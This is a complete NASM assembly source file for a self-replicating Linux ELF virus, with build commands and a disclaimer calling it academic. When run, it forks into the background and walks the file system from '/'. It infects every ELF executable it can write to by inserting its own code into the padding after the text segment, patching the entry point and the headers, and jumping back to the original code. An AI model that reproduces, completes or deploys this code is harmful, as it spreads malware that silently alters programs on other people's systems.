;(c)Gildo ; ;this source is been written only for accademical purpouses, ;it's not intended for malicious purpouses else I'm not responsable ;of how you'll use it. ;compile with: ;nasm -f elf virus.asm -o virus.o && ld -e main virus.o -o virus ;thanks to Silvio Cesare a lot, I think I'll love him ;thanks to my friends Perikles,uNdErX,d3lta,T00FiC,urgo32,... ;and every programmer not closed mind %ifdef DEBUG extern printf %endif section .text global main main: push edx ;;;;;;;;pointer to func called at atexit() push ebp ;[ebp]=old ebp mov ebp,esp ;here I fork so I go in background mov eax,2 mov ebx,0 int 0x80 ;SYS fork() the background will do the infection cmp eax,0 jne parent mov eax,24 int 0x80 ;getuid push eax ;[ebp-4]=uid mov eax,47 int 0x80 ;getgid push eax ;[ebp-8]=gid sub esp,64 ;[ebp-72]=struct stat push dword 0 push dword 0x2f ;0x2f='/' <-directory root to begin the scan ;push dword '/aha' push dword 7 ;writepermissions 4=readonly,2=write only call scan_dir add esp,12 add esp,64 ;restore stack add esp,8 ;restore uid,gid ;------the child finish mov eax,1 mov ebx,0 int 0x80 ;exit parent: push dword 0x0a297374 push dword 0x6e656d6d push dword 0x6f632072 push dword 0x6f662820 push dword 0x6d682e7a push dword 0x7a614a40 push dword 0x6f646c69 push dword 0x47206c69 push dword 0x616d650a ;0x8c from main: push dword 0x0a737572 push dword 0x6976206f push dword 0x646c6947 mov eax,4 mov ebx,1 mov ecx,esp mov edx,12*4 int 0x80 add esp,12*4 parent_process: ;the parent process jumps here pop ebp pop edx ;;;;;;;atexit() jmp ahah ;here overwrite a jump tp old entry point ahah: mov eax,1 mov ebx,0 int 0x80 ;exit (here I will write a jmp to old entry point) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; scan_dir: ;push ebp don't change ebp! else how can I access global members form ; my recursive function?!? So I'll use esp as base pointer ;mov ebp,esp mov esi,esp add esi,8 ;point to arg2: filename mov edi,esp add edi,4 ; point to arg1: ;writepermissions (&2==2 if can write for parent directory permissions) %ifdef DEBUG push esi ;;debug esi(arg2) push string3a call printf add esp,8 ;; %endif xor ecx,ecx ;;debug edi(arg1) mov cl,byte [edi] %ifdef DEBUG push ecx push string10a call printf add esp,8 ;; %endif ;-----------stack variables sub esp,4 ;fd sub esp,1 ;permissions 00-07 sub esp,1 ;file_type 010=regular file,04=directory sub esp,128 ;pathname ;;;TODO:::change to 4095 as linux/limits.h says ;-----------stat mov eax,106 mov ebx,esi ;pointer to ascii filename mov ecx,ebp sub ecx,72 ;ecx=pointer to struct stat int 0x80 %ifdef DEBUG push eax ;;debug push string6a call printf add esp,4 pop eax ;; %endif cmp eax,0 jge c_stat jmp error_stat c_stat: ;----------verify permissions mov ebx,ebp sub ebx,72 ;ebx=pointer to struct stat mov ax,[ebx+8] ;st_mode (short) mov dx,ax ;look who owns the permissions mov cx,word [ebx+12] ;stat.st_uid cmp word cx,[ebp-4] ;process uid (short) je user_permissions mov cx,word [ebx+14] ;stat.st_gid cmp cx,word [ebp-8] ;process gid (short) je group_permissions cmp word [ebp-8],0 ;process gid==0 je user_permissions others_permissions: and al,7q ;7q=mask for others jmp c_permissions user_permissions: shr ax,6 ;shift right of 6 bits and al,7q jmp c_permissions group_permissions: shr ax,3 ;shift right of 3 bits and al,7q c_permissions: mov byte [esp+128+1],al ;store file permissions of the user xor ecx,ecx ;;;debug permissions mov cl,al %ifdef DEBUG push ecx push string5a call printf add esp,8 ;; %endif ;--------verify file type mov ebx,ebp sub ebx,72 ;ebx=pointer to struct stat mov ax,[ebx+8] ;st_mode (short) and ax,170000q ;bit-mask for file-type shr ax,12 mov byte [esp+128],al ;store the file-type xor ecx,ecx ;;;debug file-type mov cl,al %ifdef DEBUG push ecx push string7a call printf add esp,8 ;; %endif ;decision: if is a regular file->if write perm.-> infect it ; if is a directory->chdir(directory);scan_dir(*); mov al,byte [esp+128] cmp al,4q je is_directory cmp al,10q je is_regular_file jmp e_scan_dir is_regular_file: ;infect it, the file name is pointed by esi mov ecx,[edi] ;;;debug writepermissions %ifdef DEBUG push ecx push string9a call printf add esp,8 ;; %endif ;if I have write permission of my parent directory and ;if the file permissions allow me to write then infect the file mov ecx,[edi] ;writepermissions (parentdir) and cl,2q cmp cl,2q je c1_is_regular_file ;if I have parent permissions jmp e_scan_dir c1_is_regular_file: mov cl,byte [esp+128+1] ;look file permissions (of stat) and cl,2q cmp cl,2q je c2_is_regular_file jmp e_scan_dir c2_is_regular_file: ;now I can infect call infect_file jmp e_scan_dir is_directory: ;----------save the current working directory in the stack mov eax,183 mov ebx,esp ;pathname mov ecx,128 int 0x80 ;SYS getcwd %ifdef DEBUG push eax ;;debug getcwd status push string12a call printf add esp,8 ;; push esp ;;debug current dir push string11a call printf add esp,8 ;;; %endif ;----------open file descriptor of the directory mov eax,5 mov ebx,esi ;ptr to ascii filename mov ecx,0 ;O_RDONLY mov edx,0 int 0x80 cmp eax,0 jge c1_is_directory jmp error_opening_file c1_is_directory: mov [esp+128+2],eax ;;fd %ifdef DEBUG push dword [esp+128+2] ;;debug fd push string4a call printf add esp,8 ;; %endif ;----------chdir path mov eax,12 mov ebx,esi int 0x80 ;SYS chdir ;----------readdir sub esp,266 ;allocate space for dirent l_readdir: mov eax,89 mov ebx,[esp+266+128+2] ;;fd mov ecx,esp ;ptr to struct dirent mov edx,1 int 0x80 ;sys readdir cmp eax,1 jne e_l_readdir ;call scan_dir for every file, ;prototipe: scandir(dword [esp+4]=writepermissions,esp+8=ptr to filename) ;if dirent.d_name="." or ".." -> skip cmp word [esp+10],0x002e ;if == ".\0" skip je skip_l_readdir cmp word [esp+10],0x2e2e ;if == ".." skip je skip_l_readdir ;cmp word [esp+10], xor eax,eax mov al, [esp+266+128+1] ;directory permissions add esp,10 ;dirent.d_name is at offset 10 push eax call scan_dir ;;;here be recursive add esp,4 ;restore writepermissions sub esp,10 ;restore dirent.d_name is at offset 10 skip_l_readdir: jmp l_readdir e_l_readdir: add esp,266 ;restore allocated space for dirent ;----------close file descriptor fd mov eax,6 mov ebx,[esp+128+2] ;;fd int 0x80 ;SYS close ;----------chdir previous current directory mov eax,12 mov ebx,esp int 0x80 error_stat: error_opening_file: e_scan_dir: add esp,134 ;restore all allocated stack ret ;end scan_dir %ifdef DEBUG string1a: db 'uid=%d',10,0 string2a: db 'gid=%d',10,0 string3a: db 'arg2 passed (filename)=%s',10,0 string4a: db 'fd=%u',10,0 string5a: db 'permissions=%u',10,0 string6a: db 'stat return=%d',10,0 string7a: db 'file-type=%u',10,0 string8a: db 'infecting file: %s',10,0 string9a: db 'writepermissions= %u',10,0 string10a: db 'arg1 passed (wp)=%u',10,0 string11a: db 'current dir=%s',10,0 string12a: db 'getcwd return=%d',10,0 %endif ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;INFECT %define VIRUS_SIZE 0x1000 %define STACK2 50 infect_file: ;the filename to infect is in esi ;-------------------stack2 sub esp,STACK2 ;allocate memory mov ebx,esi mov [esp+STACK2-44],esi ;;;;;;;;;;;;;[esp+STACK2-44]=ptr to filename ;;open the file# in: ebx (file-name); out: eax (file descriptor); open: mov eax,5 mov ecx,2 ;2=O_RDWR ,but I can open O_RDONLY=0 becouse I read only now mov edx,0 int 0x80 ;open file cmp eax,0 jg no_open_error jmp open_error ;error opening file, switch to the next file no_open_error: mov [esp+STACK2-4],eax ;;;;;;;;;;;;;;[esp+STACK2-4]=fd (read-write) %ifdef DEBUG push eax ;;debug push string1 call printf add esp,8 %endif ;;end open ;;ask the kernel the file length, stat struct defined in ;; stat(const char *file_name, struct stat *buf); file_length: mov eax,106 mov ebx,esi ;filename (assume in esi) sub esp,64 ;pass stat struct on the stack, alloca size(64) mov ecx,esp ;ecx <- stat struct address int 0x80 ;;;SYS stat mov eax,[esp+0x14] ;filesize add esp,64 ;restore the stack mov [esp+STACK2-8],eax ;;;;;;;;;;;;;;[esp+STACK2-8]=file length %ifdef DEBUG push dword [esp+STACK2-8] push string5 ;;;debug call printf add esp,8 ;;; %endif ;;map the file into memory [void* mmap(start,length,prot,flags,fd,offset)] ;; in file ;;the arguments stay in a struct that I create in the stack ;; mmap_arg_struct in file mmap: mov eax,90 mov ecx,[esp+STACK2-8] ;filelength mov edx,[esp+STACK2-4] ;fd sub esp,24 ;alloc size of struct mmap_arg_struct mov dword [esp],0 ;start mov [esp+4],ecx ;len mov dword [esp+8],3 ;prot READ-WRITE mov dword [esp+12],2 ;flag MAP_PRIVATE mov [esp+16],edx ;fd mov dword [esp+20],0 ;offset mov ebx,esp int 0x80 ;;mmap system call(eax=90,ebx=ptr to mmap_arg_struct) add esp,24 cmp eax,-1 jne c_mmap jmp mmap_error c_mmap: mov [esp+STACK2-12],eax ;;;;;;;;;;;;;;[esp+STACK2-12]=pointer to mapped file %ifdef DEBUG push eax ;;;debug push string6 call printf add esp,8 %endif ;end mmap ;;is suitable(if ELF and there is space for virus in memory) is_suitable: ;scas (scan strings ELF) or repe ;but I coompare only the first 4 bytes ( a dword),so: mov edx,[esp+STACK2-12] ;ptr mapped mov ebx,[edx] ;.ELF mov eax,0x464c457f ;45=E,4c=L,46=F %ifdef DEBUG push eax push ebx push string12 call printf add esp,4 pop ebx pop eax %endif cmp ebx,eax je c1_is_suitable error_suitable: jmp suit_error c1_is_suitable: ;now read the ehdr (I need these informations first), but ;TODO: I don't want e_phoff or e_shoff > filesz and entry out off range read_ehdr: mov ebx,[esp+STACK2-8] ;file len cmp ebx,0x130 jl error_suitable ;error file size too small c_ehdr: mov esi,[esp+STACK2-12] ;ptr mapped mov eax,[esi+0x18] mov [esp+STACK2-16],eax ;;;;;;;;;;;;;;;;[esp+STACK2-16]=e_entry mov eax,[esi+0x1c] mov [esp+STACK2-20],eax ;;;;;;;;;;;;;;;;[esp+STACK2-20]=e_phoff mov eax,[esi+0x20] mov [esp+STACK2-24],eax ;;;;;;;;;;;;;;;;[esp+STACK2-24]=e_shoff mov eax,dword [esi+0x2c] ;else save only word, but after don't pop eax and eax,0xffff ;only 2 bytes mov [esp+STACK2-28], eax ;;;;;;;;;;;;;;;;[esp+STACK2-28]=e_phnum mov eax,dword [esi+0x30] and eax,0xffff mov [esp+STACK2-32],eax ;;;;;;;;;;;;;;;;[esp+STACK2-32]=e_shnum %ifdef DEBUG push dword [esp+STACK2-16] push string3 call printf add esp,8 push dword [esp+STACK2-20] push string3 call printf add esp,8 push dword [esp+STACK2-24] push string3 call printf add esp,8 push dword [esp+STACK2-28] push string3 call printf add esp,8 push dword [esp+STACK2-32] push string3 call printf add esp,8 %endif ;end read_ehdr is_suitable_space: ;look if there is space between end of section 2 and begin of 3 mov esi,[esp+STACK2-12] ;ptr to mapped mov ebx,[esp+STACK2-20] ;e_phoff add esi,ebx ;ph[0] mov ecx,[esi+32*3+8] ;ph[3].p_vaddr mov ebx,[esi+32*2+16] ;ph[2].p_filesz mov [esp+STACK2-36],ebx ;;;;;;;;;;;;;;;;[esp+STACK2-36]=ph[2].p_filesz add ebx,[esi+32*2+8] ;ph[2].p_vaddr sub ecx,ebx ;ph[3].p_vaddr-ph[2].p_vaddr-ph[2].p_filesz ;verify ecx > VIRUS_SIZE mov eax,VIRUS_SIZE cmp ecx,eax jl error_suitable ;exit ;;there is not space to write virus %ifdef DEBUG push ecx push string10 call printf add esp,8 %endif ;---------here I look it I have more than 3 ph, else file is not ;_________compiled with gcc, but for example with ld (and I assume ;_________ph[2] is the text section mov ebx,[esp+STACK2-28] ;e_phnum cmp ebx,5 jl error_suitable ;end is_suitable_space ;end is_suitable patch_ehdr: patch_e_entry: ;the new e_entry will be where the code section finish mov ebx,0x08048000 add ebx,[esp+STACK2-36] ;ebx<-new entry mov esi,[esp+STACK2-12] ;ptr mapped mov [esi+0x18],ebx ;fix entry ;end patch_e_entry patch_e_sh_offset: add dword [esi+32],VIRUS_SIZE ;end patch_e_sh_offset patch_phdrs: %ifdef DEBUG push dword [esp+STACK2-36] ;;debug push string1 call printf ;;debug add esp,8 %endif mov ecx,[esp+STACK2-28] ;e_phnum mov edx,[esp+STACK2-20] ;e_phoff mov esi,[esp+STACK2-12] ;ptr to mapped add esi,edx ;ph[0] mov eax,[esp+STACK2-36] ;insertion_offset l_read_ph: cmp dword [esi+4],0 ;.text ph jne dont_patch_phtext ;here patch .text ph add dword [esi+16],VIRUS_SIZE ;patch p_filesz add dword [esi+20],VIRUS_SIZE ;patch p_memsz dont_patch_phtext: cmp eax,[esi+4] ;if offset <= insertion_offset patch ->jg dont... jg dont_patch_ph ;here patch phs at offset >= insertion_offset add dword [esi+4],VIRUS_SIZE ;patch p_offset dont_patch_ph: %ifdef DEBUG push eax push ecx push string7 call printf add esp,4 push dword [esi+4] push string11 ;p_offset call printf add esp,8 push dword [esi+16] push string9 ;p_filesz call printf add esp,8 push dword [esi+20] push string13 ;p_memsz call printf add esp,8 pop ecx pop eax %endif add esi,0x20 ;next ph loop l_read_ph ;end patch_phdrs patch_shdrs: mov ecx,[esp+STACK2-32] ;e_shnum (loop counter) mov edx,[esp+STACK2-24] ;e_shoff mov esi,[esp+STACK2-12] ;ptr mapped add esi,edx ;sh[0] mov eax,[esp+STACK2-36] ;insertion_offset l_read_sh: mov ebx,[esi+16] ;sh_offset ;;;;;;;;;;;;patch .text add ebx,[esi+20] ;sh_size cmp ebx,eax ;sh.sh_offset+sh.sh_size-insertion_size jne dont_patch_shtext ;patch .text add dword [esi+20],VIRUS_SIZE ;patch sh_size dont_patch_shtext: cmp [esi+16],eax ;sh_offset < insertion_offset -> don't patch jl dont_patch_sh ;patch sh add dword [esi+16],VIRUS_SIZE ;patch sh_offset dont_patch_sh: %ifdef DEBUG push eax push ecx push string7 call printf add esp,4 push dword [esi+16] push string15 ;sh_offset call printf add esp,8 push dword [esi+20] push string16 ;sh_size call printf add esp,8 pop ecx pop eax %endif add esi,40 ;next sh loop l_read_sh ;end patch_shdrs find_current_entry_point: ;so I'll copy this code into the infected mov esi,dword [0x08048018] ;current entry %ifdef DEBUG push esi push string17 call printf add esp,8 %endif ;end find_current_entry_point write: ;open the file for writing ;mov eax,5 ;mov ebx,[esp+STACK2-44] ;filename infected ;mov ecx,101q ;write-create-truncate ;mov edx,555q ;read-execute from all ;int 0x80 mov eax,[esp+STACK2-4] ;<---old fd mov [esp+STACK2-40],eax ;;;;;;;;;;;;[esp+STACK2-40]=write fd ;write before insertion mov ebx,eax ;fd mov eax,4 mov ecx,[esp+STACK2-12] ;mapped mov edx,[esp+STACK2-36] ;insertion_offset int 0x80 ;;write first before insertion_offset ;write virus mov eax,4 mov ecx,esi ;entry point address mov edx,VIRUS_SIZE ;virus length int 0x80 ;;write the virus at insertion_offset ;perhaps I have written less then VIRUS_SIZE bytes, so I have to ;seek the fd of VIRUS_SIZE more then the insertion_offset mov eax,19 mov ecx,[esp+STACK2-36] ;insertion_offset add ecx,VIRUS_SIZE mov edx,0 ;SEEK_SET int 0x80 ;SYS lseek ;write after insertion (assume ebx=fd) mov ecx,[esp+STACK2-36] ;insertion_offset mov edx,[esp+STACK2-8] ;total file length sub edx,ecx ;remaining length to write mov eax,4 add ecx,[esp+STACK2-12] ;mapped int 0x80 ;;write at end after insertion_offset ;fix jmp to old entry point (instead of exit) and jmp offsets ;seek the fd at insertion_offset+0xb7, ;where I'll put a jump to old entry point mov eax,19 mov ecx,[esp+STACK2-36] ;insertion_offset add ecx,0xb7 ;it is the *jmp ahah* eheh mov edx,0 ;SEEK_SET int 0x80 ;SYS lseek %ifdef DEBUG push ebx push ecx push string20 call printf add esp,4 pop ecx pop ebx %endif ;write the address to jmp (assume ebx=fd) add ecx,0x08048004 ;address where instruction finish mov edx,[esp+STACK2-16] ;old_entry sub edx,ecx push edx ;the opaddress part mov ecx,esp mov edx,4 mov eax,4 int 0x80 ;SYS write add esp,4 ;end fix ;end write suit_error: munmap: mov eax,91 mov ebx,[esp+STACK2-12] ;ptr to map mov ecx,[esp+STACK2-8] ;map length int 0x80 ;;close the file mmap_error: close: mov eax,6 mov ebx,[esp+STACK2-4] ;fd int 0x80 ;close ;;exit open_error: __exit: add esp,STACK2 ;restore the stack allocated at the beginning ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;end main;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;data in section text;;;;;;;;;;;;;;;;;;;;;;;;;; %ifdef DEBUG string1: db 'fd=%d',10,0 string2: db 10,0 string3: db '0x%X',10,0 string4: db 'at offset 0x%X there is: ',0 string5: db 'file size=%dbytes',10,0 string6: db 'mmap ptr=0x%X',10,0 string7: db 'ecx=%d',10,0 string8: db 'ebp = 0x%X',10,0 string9: db 'filesz = 0x%X',10,0 string10: db 'free space for insertion = 0x%X',10,0 string11: db 'offset = 0x%X',10,0 string12: db 'signatureELF = 0x%X',10,0 string13: db 'p_memsz = 0x%X',10,0 string14: db '--------------------',10,0 string15: db 'sh_offset = 0x%X',10,0 string16: db 'sh_size = 0x%X',10,0 string17: db 'entry = 0x%X',10,0 string20: db 'seekKKKk to 0x%X',10,0 infected: db 'infected',0 off_table: ;table with the file offsets where I want to look dd 0x18 ;entry point (e_entry) dd 0x1c ;program header offset (e_phoff) dd 0x20 ;section header offset (e_shoff) dd 0x2c ;number of phs (e_phnum) (only 2 bytes!!!) dd 0x30 ;number of shs (e_shnum) (only 2 bytes!!!) dd 0 ;end of table %endif ;I let some words section .data db 'hello, nice boys, I hope you will enjoy this program written with nasm.I want to say thanks to all my programmers friend.Bye from Gildo.',0